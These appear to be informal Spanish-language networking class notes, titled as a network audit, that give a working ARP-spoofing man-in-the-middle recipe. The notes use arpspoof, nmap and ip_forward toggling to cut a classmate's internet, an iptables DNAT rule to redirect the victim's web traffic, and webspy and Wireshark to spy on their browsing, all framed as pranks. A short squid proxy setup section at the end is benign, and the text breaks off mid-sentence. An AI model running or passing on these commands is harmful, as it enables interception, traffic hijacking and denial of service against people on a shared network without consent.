Redess

Auditoria de red

(dejar sin internet al compañero)
Apt-get update.
Apt-get install dsniff. --> Sniffer
Apt-get install nmap. --> Mapeo de red
nmap 192.168.1.0/24 --> mapear la red 1.0Primero saber la IP del compañero
Abrimos dos terminales y nos ponemos como administradores.
Hacer un ifconfig para saber cual es tu ETH.
Term1 -- arpspoof -i eht..(la tuya) -t 192.168.1.1(servidor) 192.168.1... (victima)
Term2 -- arpspoof -i eth...(la tuya) -t 192.168.1..(victima) 192.168.1.1 (servidor)
En los dos casos la targeta de red es la misma.
Para darle internet de nuevo pararel servicio.

Script para dar o quitar internet
echo 1 > /proc/sys/net/ipv4/ip_forward --> Dar internet
echo 0 > /proc/sys/net/ipv4/ip_forward --> Quitar internet
Esto hay quehacerlo mientras el arpspoof esta tirando.

Redireccionar un equipo a una pagina determinada
nslookup (pagina que quieres que se rediriga). Obtendras la IP de la pagina.
iptables -t nat -A PREROUTING-i eth0 -p tcp --dport 80 -j DNAT --to (IP de la pagina):80
Esto hay que hacerlo mientras el arpspoof esta tirando y mientras tira hacer el echo 1.

Mayores putadas habidas y por haber
apt-getinstall wireshark
webspy -i eth (la tuya) (IP de la victima) Espiar graficamente.
Esto hay que hacerlo mientras el arpspoof esta tirando y mientras tira hacer el echo 1.
Para hacer esto mas potente:Lanzar el wireshark
En el interfaz grafico pinchar en capture, interfaz grafica, eth(la tuya) pinchar en start
filter --> http

Servidor proxy
Para configurar un proxy es dejar que lospaquetes circulen a traves de el.
comandos:
echo 1 > /proc/sys/net/ipv4/ip_forward
apt-get update
apt-get install squid --> instalamos el servidor proxy
Como siempre configuramos el archivo deconfiguracion del proxy, que en este caso se llama squid.conf. Se encuentra alojado en /etc/squid3/squid.conf.
buscar en el archivo de configuracion: cache_mem y cambiar 256 MB por 500MB y...